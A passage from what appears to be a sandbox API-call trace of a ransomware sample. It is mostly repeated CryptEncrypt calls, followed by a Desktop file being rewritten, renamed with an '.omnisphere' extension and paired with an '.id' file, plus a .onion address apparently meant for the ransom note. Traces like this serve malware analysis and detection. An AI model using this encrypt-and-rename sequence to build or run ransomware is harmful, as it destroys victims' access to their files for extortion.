pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.520] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.520] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.520] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.520] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.521] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.521] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.521] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.521] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.521] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.521] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.521] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.521] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.521] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.521] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.521] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.521] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.521] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.521] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.521] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.521] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.521] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.521] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.522] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.522] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.522] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.522] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.522] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.522] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.522] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.522] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.522] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.522] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.522] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.522] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.522] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.522] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.522] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.522] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.522] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.522] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.523] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.523] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.523] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.523] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.523] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.523] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.523] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.523] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.523] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.523] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.523] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.523] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.523] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.523] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.523] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.523] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.523] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.523] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.524] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.524] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.524] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.524] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.524] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.524] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.524] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.524] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.524] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.524] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.524] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.524] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.524] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.524] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.524] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.524] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.525] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.525] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.525] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.525] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.525] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.525] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.525] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.525] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.525] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.525] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.525] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.525] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.525] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.525] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.525] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.525] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.525] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.525] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.525] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.526] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.526] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.528] CryptDestroyKey (hKey=0x1639728) returned 1 [0163.528] CryptReleaseContext (hProv=0x1668240, dwFlags=0x0) returned 1 [0163.528] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xde95, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0163.528] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0163.528] GetProcessHeap () returned 0x1600000 [0163.528] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x262) returned 0x17727c0 [0163.529] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\DGL2n.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\dgl2n.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\DGL2n.m4a.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\dgl2n.m4a.omnisphere")) returned 1 [0163.532] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\DGL2n.m4a.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\DGL2n.m4a.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\DGL2n.m4a.omnisphere.id" [0163.532] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\DGL2n.m4a.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\dgl2n.m4a.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0163.533] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0163.534] CloseHandle (hObject=0x3bc) returned 1 [0163.535] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0163.536] CloseHandle (hObject=0x380) returned 1 [0163.536] SetEndOfFile (hFile=0x39c) returned 1 [0163.537] FlushFileBuffers (hFile=0x39c) returned 1 [0163.568] CloseHandle (hObject=0x39c) returned 1 [0163.568] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\DGL2n.m4a" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0163.568] GetProcessHeap () returned 0x1600000 [0163.568] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1772a30 [0163.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0163.569] GetProcessHeap () returned 0x1600000 [0163.569] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733658 [0163.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 